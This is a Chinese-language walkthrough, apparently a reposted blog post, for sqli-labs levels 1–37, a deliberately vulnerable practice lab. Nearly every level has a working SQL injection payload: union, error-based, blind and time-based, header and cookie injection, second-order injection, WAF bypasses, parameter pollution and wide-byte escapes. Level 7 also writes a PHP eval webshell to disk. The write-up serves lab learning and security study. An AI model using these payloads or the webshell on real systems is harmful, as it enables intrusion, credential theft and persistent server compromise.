sqli-lib1-36关 精选篇
文章目錄
- 題目-持續更新
- Less-1~10 GET型注入題
- Less11~22 POST型注入題
- Less23~32 WAF繞過
- Less32-37 寬字節注入
- 數據庫信息
題目-持續更新
Less-1~10 GET型注入題
? 基本的一些聯合查詢注入
Less-1.字符型 規定id=1,2,3 構造閉合 id=-1’ 內容 #
Less-2.數字型 直接加SQL語句 id=-1 內容
Less-3.字符型 閉合方式是(‘ 內容 ’) 構造的閉合語句是id=-1’) 內容 #
Less-4.字符型 閉合方式是(“ 內容 ”) 構造的閉合語句是 id=-1”) 內容 #
?
? 雙查詢注入(利用報錯信息)(頁面上沒有顯示位但是有sql語句執行錯誤信息輸出)
Less-5.字符型 閉合方式 單引號 ’ id=-1’ 內容 #
?id=1' union select 1,count(*), concat(查詢語句 ), floor(rand()*2))as a from information_schema.tables group by a --+Less-6 字符型 閉合方式 雙引號 “ id=-1” 內容 #
導出文件注入
Less7.字符型 閉合方式(('內容 ‘)) 構造的閉合語句是 id=-1’)) 內容 #
獲取文件導入導出允許路徑,利用@@datadir->數據庫存儲路徑 @@basedir->mysql安裝路徑
將寫入惡意代碼的內容查詢結果導出到本地,菜刀連接
union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "路徑地址" --+- 1
Ps:這里需要開啟mysql的導入導出文件權限,在my.ini配置secure_file_priv =
查看文件 load_file()函數
寫入文件 into outfile -mysql語句
盲注
布爾盲注
Less-8.字符型 閉合方式 單引號 ’ 構造的閉合語句是 id=1‘ 內容#
? 思路:利用ascii(),substr(),二分法查找
? 判斷列數->判斷數據庫名長度->爆破數據庫名->判斷表數量->表名長度->表名->字段數->字段長度->字段值->
? 數量—count,長度—length , 值—ascill+substr+二分法
? 注意:mysql的substr的開始位置是”1“ substr(“xxx”,1,1)
判斷數據庫名長度 id=1' and length(database())=8 #猜測數據庫名
id=1’ ascii(substr(database(),1,1))>65 # 通過二分法查找對數據庫名一個個拆分判斷名字
猜測數據庫的表數量:
id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=5 #
對第1、2…的表進行具體猜測表名長度和表名
id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 #
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>65 #
判斷字段數
id=1’ and (select count(column_name) from information_schema.columns where
table_name=‘users’)=1 #
判斷字段長度 字段名
?id=1’ and (select length(column_name) from information_schema.columns where table_name=‘users’ limit 5,1)=8 #
?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1,1))>97 #
猜測數據
?id=1’ and ascii(substr((select username from users limit 0,1),1,1))=68 #
-
? 時間注入
Less-9.字符型 閉合方式 單引號 ’ 構造的閉合語句是 id=1‘ 內容#
? 因為不論輸入什么,界面返回的都是一樣的
? 因此我們使用時間注入sleep函數,根據頁面放回時間判斷我們所給條件是否正確
?id=1'and if((substr((select database()),1,1)='s'),sleep(5),null);%23- 1
?
Less11~22 POST型注入題
Post:http request請求的一種,數據從客戶端提交到服務器端,之后再由服務器端進行驗證
多使用于用戶登錄模塊、網站的留言板模塊等
建議:Post注入的數據提交測試配合工作使用 hackbar或burp
基本的一些聯合查詢注入
Less-11.字符型 構造閉合 1’ 內容 # Post提交內容 uname=1‘內容 #& passwd=xxxx
? 當然對于登錄界面我們都可以嘗試萬能密碼去登錄看看
? Post提交數據:uname=1’or‘1’=1 # & passwd=xxxx
? Ps: 萬能密碼,利用邏輯漏洞使查詢的sql語句條件成立
?
Less-12.字符型 構造閉合 1") 內容 # Post提交內容 uname=1")內容 #& passwd=xxxx
雙查詢注入(利用報錯信息)(頁面上沒有顯示位但是有sql語句執行錯誤信息輸出)
Less-13.字符型 構造閉合 1’) 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx
? (1)雙查詢
uname=ad') union select 2,count(1) from information_schema.tables group by concat(floor(rand()*2),(select concat(username,password) from users limit 1,1))#&passwd=admi
ps:這里限制了輸出長度 無法使用group_concat輸出整個表
? (2)利用函數報錯 extractvalue() 或UPDATEXML()
unameu=1admin') and extractvalue(1,concat('~',(select password from users limit 1,1),'~')) # &passwd=2312Ps:該函數最多輸出32字節 需配合substr或limit 使用
Less-14.字符型 構造閉合 1" 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx
? 注入語句參考Less-13
盲注
布爾盲注/時間盲注
Less-15.字符型 構造閉合 1‘ 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx
? 思路:頁面根據登錄只放回兩種情況,成功和不成功
? 利用布爾值判斷 當我們給定一個數據庫已存在的username,進行構造閉合語句
uname=admin'and 判斷語句# &passwd=xxxx Ps:使用and連接兩個條件 判斷語句條件成立即放回登錄成功頁面? 具體語句參考Less-8布爾盲注
Less-16.字符型 構造閉合 1") 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx
更新查詢 報錯注入
Less-17.字符型 構造閉合 1‘ 內容 # Pots提交內容 uname=admin& passwd=123 ’ 內容#
? 這里構造的閉合語句在passwd(具體看源碼sql查詢語句)
? 要求:用戶名要填寫正確,根據邏輯判斷,先判斷用戶名是否存在,存在才會進行update語句
? 構造語句:利用函數報錯注入
unameu=admin &passwd=123') and extractvalue(1,concat('~',(查詢語句),'~')) #Ps:當我們查詢users表會報錯:
You can’t specify target table ‘users’ for update in FROM clause
(不能在對同一個表update的同時select)
解決思路:進行嵌套查詢,要注意添加一下別名(這是規則),否則會報錯
例:
uname=admin&passwd=123’ and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as aaa),0x7e),1) #
注意:當我們對存在更新操作的地方進行嘗試sql注入時,一定要注意語句的邏輯問題和正確性,否則可能會造成不可估量的后果(這里的后果特別指明,如果你后期嘗試挖漏洞,別一不小心把別人的數據全改了) 我在不知道正確的注入語句情況下一頓花里胡哨的把密碼全改成123456了 幸虧這是本地 數據少 萬一… 懂就好
HTTP頭(header)注入
httpt頭部常用關鍵字
Accept: 瀏覽器能夠處理的內容類型 Accept-Charset: 瀏覽器能夠顯示的字符集 Accept-Encoding:瀏覽器能夠處理的壓縮編碼。 Accept-Language: 瀏覽器當前設置的語言。 Connection:瀏覽器與服務器之間連接的類型 Cookie:當前頁面設置的任何Cookie Host:發出請求的頁面所在的域。 Referer:發出請求的頁面的URI。 User-Agent:瀏覽器的用戶代理字符串 Server: WEB 服務器表明自己是什么軟件及版本等信息。例如:Server:Apache/2.0.61 (Unix)Less-18.字符型 注入位置:請求頭的User-Agent:的位置 單引號閉合
? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’=1
查看源碼,發現這里的username和passwd使用了check_input函數進行檢查,無法注入,但后面有一段插入的SQL語句可以實現注入,根據頁面登錄情況,當登錄成功,會放回user-Agant的信息,那么我們就嘗試在該header頭 進行SQL注入
在user-Agant: xxx 后插入語句
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1- 1
Less-19.字符型 注入位置:請求頭的Server: 的位置 單引號閉合
? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’='1 (可參考less-18)
Less-20.字符型 注入位置:請求頭的Cookie: 的位置 單引號閉合
? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’='1
? 對cookie的請求頭注入前提是已經登錄成功獲得了cookie值
?
當然也可以用聯合查詢 注意要將前面的cookie條件設為假 Cookie: uname=admin' and 1=0 union select 1,2,database()%23- 1
- 2
?
Less-21.字符型 注入位置:請求頭的cookie: 的位置 單引號閉合
構造閉合:base64加密–> xxxx‘ 報錯函數注入語句 and “1”="1
登錄后發現cookie被base64加密 ,對原注入語句base64加密后再傳回給cookie
Less-22.字符型 注入位置:請求頭的cookie: 的位置 雙引號閉合
? 構造閉合:base64加密–> xxxx“ 報錯函數注入語句 and “1”="1
登錄后發現cookie被base64加密 ,對原注入語句base64加密后再傳回給cookie
Less23~32 WAF繞過
報錯注入+黑名單(注釋符過濾)
Less-23.字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句‘
? 這里對注釋符進行的過濾 # --+都會被替換成 “ 符號
id=-1'union select 1,database(),3'- 1
? ps:這里因為過濾了注釋符,所以無法使用 order by 判斷列數
但我們可以通過 union select去判斷列數
二次注入
Less-24 這道題的重點不在于爆數據 而在于獲得admin權限
? 進入是一個登陸框,我們進行新建賬號 : admin’# 密碼:123456(隨意都行)
登陸admin’#用戶,并修改密碼
執行的sql語句 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='xxxx'后臺執行就變成了 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’
? 最后admin賬號就可以用修改后的新密碼登錄了
? 這樣我們注入目的就達到了
WAF繞過
白盒繞過、黑盒繞過、fuzz測試
就看你思路騷不騷,猥不猥瑣
雙寫繞過
or->||
空格繞過 %09 TAB鍵(水平) %0a 換行 %0c 新的一頁 %0d return功能 %0b TAB鍵(垂直) %a0 空格 /**/ + ()- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Less-25 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句 # 基于報錯的注入型
這里會對 or 和 and進行過濾 嘗試雙寫繞過 遇到判斷 and or被替換成空字符后 aanddn->and oorr ->or
源碼內容為:
因為只是過濾了or和 and 并不影響正常使用union查詢 但要注意 password 單詞因為里面有or 所有會被過濾,記得雙寫變成passwoorrd
例如 執行語句:
?id=-1'union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)#- 1
Less-25a 數字型 規定id=1,2,3 構造閉合 id=-1 sql語句
過濾了 and和 or 字符
?id=-1 union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)- 1
Less-26 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句’ 基于報錯的注入型
這里過濾了or and 注釋符 特別還有空格 ,所有我們的sql語句select username …就會變成selectusername
所以我們的關鍵點在于如何繞過這個WAF,用某特殊值代替” 空格 “
嘗試多種繞過 最后%A0可以替換空格
?id=0'union%A0select%A0 =1,2,database()'- 1
使用報錯注入可以是
?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'- 1
Ps:本關在windows下可能無法使用一些特殊的字符代替空格,會變成?字符,在linux平臺下可以實現(我沒還沒搞懂為什么,如果有大佬弄明白了 帶帶我awsl)
Less-26a 字符型 規定id=1,2,3 構造閉合 id=-1‘)sql語句(’ 盲注
? 參考-26,過濾了空格和注釋
Less-27 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句’ 基于報錯的注入型
這里主要是對union和select的繞過 查看源碼的waf
通過雙寫繞過,這里的select應該是連續判斷了2次,寫入三次也可以繞過,雙寫的目的就是通過preg_replace匹配時會執行一次替換,但我們進行雙寫其中的一個替換為了空,那么就使得拼接成了一個select
注入語句參考:(這里的%0a代替了空格符)
?id=0'ununionion%0a selselselectectect%0a1,2,(selselselectectect%0agroup_concat(concat_ws("|",username,password))%0afrom%0ausers)'- 1
Less-27a 字符型 規定id=1,2,3 構造閉合 id=-1“sql語句" 報錯注入
? 參考27
Less-28 規定id=1,2,3 構造閉合 id=-1’) %26%26sql語句&&‘1’=('1 盲注無報錯回顯
這里的閉合語句是(’$id’) 但因為注釋符都被過濾,因此無法將后面的”)“去除 只能利用時間注入來進行注入 %26是&的意思
?id=1')%26%26if((substr((select%0adatabase()),1,1)='s'),sleep(2),null)%26%26'1'=('1- 1
- 2
?
在查看大量wp 突然學到一種新思路 tql了 學習學習 對于(“內容”)的閉合語句 (可以去Less-3自己實驗看看)
?id=0')union select 1,2,('3- 1
Less-28a 規定id=1,2,3 構造閉合 id=-1’) %26%26sql語句&&‘1’=('1 盲注無報錯回顯
? 參照Less-28 但這里的源碼其實只對select和union過濾了 其他的注釋符等都可使用,
? 但既然是學習我們還是應該將它們當做無法使用
服務器WAF
Less-29 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0’ sql語句 %23 web服務器WAF繞過
? 這道題其實提供了兩個url 一個是index.php(參考界面) 另一個是login.php(注入界面)
? 我們訪問login.php提交參數?id=1 但只要提交非數字 就會進行頁面跳轉到
查看源碼內容,他這里用的兩種不同的方法進行獲取id,并且對利用id,并且對利用id,并且對利用id,并且對利用id,并且對利用 id,并且對利用id,并且對利用id,并且對利用id,并且對利用id,并且對利用_SERVER[]獲取的id值進行了一波檢測,也就是當我們傳入的參數存在非0-9數字時,進行頁面跳轉 。
大致概況一下就是,這里在原Apach(php)服務的基礎上加了一層以Tomcat(jsp)的WAF,當我們提交參數時,首先WAF對參數進行判斷,然后再提交給Apach,并將結果返回給客戶端,因此我們可以基于這兩個不同的服務器,進行HPP(http參數污染攻擊)
ps: HPP原理可以見我的另一篇博客:https://blog.csdn.net/weixin_43669045/article/details/105293023
因為WAF是jsp 我們可以根據服務器處理方式的不同,構造下面語句:
?id=3&&id=-1'union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23- 1
Less-30 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0“ sql語句 %23 web服務器WAF繞過
雙引號閉合 具體參考 Less-29- 1
- 1
Less-31 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0“) sql語句 %23 web服務器WAF繞過
雙引號+括號閉合 具體參考 Less-29- 1
- 1
Less32-37 寬字節注入
寬字節注入
Less-32 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23
? 嘗試正常注入 id=1’ 但發現放回的信息是 id =1\’ 逗號被注釋 ,還有16進制的提示
? 這里我們要進行的是寬字節注注入
? Ps:寬字節原理:數據庫與web前端未統一所使用的字符集,導致各種對字符的解析存在差異,利用該 漏洞實現寬字節注入,前端將雙字節字符認為是兩個字節,后端mysql雙字節是一個漢字,當我們 提交?id=1’ 前端php的函數檢測到特殊字符 進行轉義為 id =1\’ ,這時候我們利用寬字節注入 提交 ?id=1%5f’ 前端php檢測是 ?id=%bf%5c%27 mysql運行就變成了 id=1 ?’ (bf5c轉義成 ?)
? 構造語句:
?id=0%bf'union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)%23- 1
Less-33 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23
? 這里的構造方式與less32一樣,這兩道題唯一的區別在于 該題直接使用的是php通過的addslashes()函數對指定的字符進行轉義,而less-32是自己寫了一個自定義函數進行轉義
Less-34 字符型 Post注入 繞過gaddslashes()函數
? 將get類型該為post型 一樣利用寬字節注入
uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#- 1
Less-35 數值型注入 id=1,2,3 構造閉合 id=0 sql語句
? 不需要關心引號是否被過濾,直接構造payload:
?id=0 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)- 1
Less-36 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23
使用了mysql_real_escape_string()函數,多過濾一些東西,但是對于注入語句來說沒什么影響,和32關做法一模一樣,單引號閉合,注入語句都一樣。 直接參考Less-32
mysql_real_escape_string()函數受影響字符
\x00 \n \r \ ' '' \x1aLess-37 字符型 Post注入 繞過mysql_real_escape_string()函數
? 將get類型該為post型 一樣利用寬字節注入
uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#- 1
數據庫信息
數據庫名:security提供的數據庫信息
表名:emails,referers,uagents,users
字段:emails :->id,email_id
referers:->referer,ip_address
uagents :->id,uagent,ip_address,username
users :->id,username,password
總結
以上是生活随笔為你收集整理的sqli-lib1-36关 精选篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sqli-labs 30到65关
- 下一篇: sqli-lab_基础篇_1-23做题反